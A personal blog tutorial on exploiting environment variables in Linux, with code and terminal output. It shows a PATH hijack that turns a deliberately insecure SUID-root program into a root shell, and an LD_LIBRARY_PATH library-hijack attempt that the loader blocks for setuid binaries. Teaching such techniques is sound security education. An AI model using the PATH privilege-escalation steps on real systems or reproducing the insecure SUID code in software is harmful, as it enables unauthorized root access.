AlexJ's Computer Science Journal

alexandru.juncu.ro

[TechBlog] Exploiting environment variables

[Part 1 from ROSEdu Techblog]

Environment variables are sometimes very important when creating new processes. For example, the PATH variable, that decides what executable to run.

The easiest example to exploit PATH is to add the current directory . to the list and overwrite common shell commands with something else.

$ cat ./ls
echo P0wn3d
$ ls
file1 file2
$ ./ls
P0wn3d
$ export PATH=.:$PATH
$ ls
P0wn3d

But that can only affect the user’s shell and can’t do harm to the system. What if some other conditions exist in the system, like the use of the SUID bit. Normal processes are run as the user who executes them, regardless of who owns the executable file (as long as the user who runs the file can read the file). If the SUID is set on an executable file, any process started from that executable will run as the owner of the file, not shell owner. Here is an example of a very insecure source that shouldn’t be SUID-ed.

#include<stdlib.h>

int main(void)
{
system(“ls”);
return 0;
}

Let’s assume that the compiled executable from this code is owned by root, SUID-ed and put into /bin with the name ls_root.

$ ls -la /bin/ls_root
-rwsrwsr-x 1 root root 7163 2012-03-21 12:28 /bin/ls_root

What this will enable, for example, is the listing of the /root directory by any user.

$ cd /root
$ ls
ls: cannot open directory .: Permission denied
$ sudo ls
test
$ ls_root
test

The code simply executes the ls command. But what if the ls command isn’t doing what it is supposed to do? Given this setup, as a normal user, we can do the following:

$ ln -s /bin/sh ls
$ echo $$
32655
$ ls
ls  ls_root.c
$ ./ls
$ echo $$
32730
$ whoami
alexj
$ exit
$ export PATH=.:$PATH
$ ls_root
# whoami
root
#

The ls_root process will run the ls command. The ls command will run an executable specified by the PATH variable (the executable is /bin/ls). But if the PATH variable is changed in the current bash process, the executable ran by the ls command will now become something else. If the ls_root command is ran by root (with the help of the SUID bit), any of its children will also be processes of root. So, if the ls command will now run a bash executable, it will run a root owned executable that leads to root access.

The SUID is something that is used in Linux systems (sudo and even ping use it), but these executables are very carefully implemented so that normal users can’t exploit them.

 

[Part 2 from ROSEdu Techblog]

Based on the previous, let’s go one step further and study a similar exploit. This time we’ll be dealing with executables and dynamic libraries.

Let’s consider a simple custom library function:

/* random.h */
int xkcd_random(void);

/* random.c */
int xkcd_random()
{
return 4;
}

We can build it into a shared library:

$ gcc –share -fPIC -o librandom.so random.c

Let’s take a simple program that uses our function:

/* main.c */
#include <stdio.h>
#include “random.h”

int main(void)
{
printf(“8ball says:%d\n”, xkcd_random());
return 0;
}

If we want to use out shared object file in the current directory, we have to do two things. First, compile the program and link the shared library (with the -l flag) using libraries in the current directory (we do that using the -L. flag).

$ gcc -o main -L.  main.c -lrandom

Second, the library will be linked at compile time, but it won’t be loaded at runtime unless the loaded knows where the library is, with the help of the LD_LIBRARY_PATH variable.

$ ./main ./main: error while loading shared libraries:
librandom.so: cannot open shared object file: No such file
or directory
$ export LD_LIBRARY_PATH=.:$LD_LIBRARY_PATH
$ ./main
8ball says:4

To ensure that we can always use the library, we can place it in the system’s library directory. Note that this means that we trust the code of that library and only the administrator can do this

# mv librandom.so /usr/lib

So now, each time the main program runs, the loader will dynamically load the random function from the system. But what if we have another function, from another library that has the same name, but does something else:

/* evil.c */
#include <unistd.h>
int xkcd_random()
{
return 666;
}

$ gcc –share -fPIC -o librandom.so evil.c

If we overwrite the LD_LIBRARY_PATH variable with the . directory, the loader will use the ./librandom.so instead of /usr/lib/librandom.so and it doesn’t require any modification of the main program (no recompile needed).

$ ./main
8ball says:4
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:666

This is a similar to the PATH variable hack discussed in the previous article, but at a much more lower level. We can add a possible exploit here, like a shell execution:

#include <unistd.h>
int xkcd_random()
{
execlp(“/bin/sh”, “/bin/sh”, NULL);
return 666;
}

Like we did before, we used a root-owned executable that had the SETUID bit set, in order to run things as root.

$ ls -la main
-rwsrwsr-x 1 root root 7192 2012-04-18 15:13 main
$ export LD_LIBRARY_PATH=.:LD_LIBRARY_PATH
$ ./main
8ball says:4

The program executed safely.

The Library Loader is smart enough to ignore the LD_LIBRARY_PATH when the executable is setuid-ed, because of exact such attacks. So even though you can exploit programs as a normal user, you can’t affect system. So low level is a little more secure than scripting level.

Comment

AlphaOmega Captcha Classica  –  Enter Security Code
     
 

*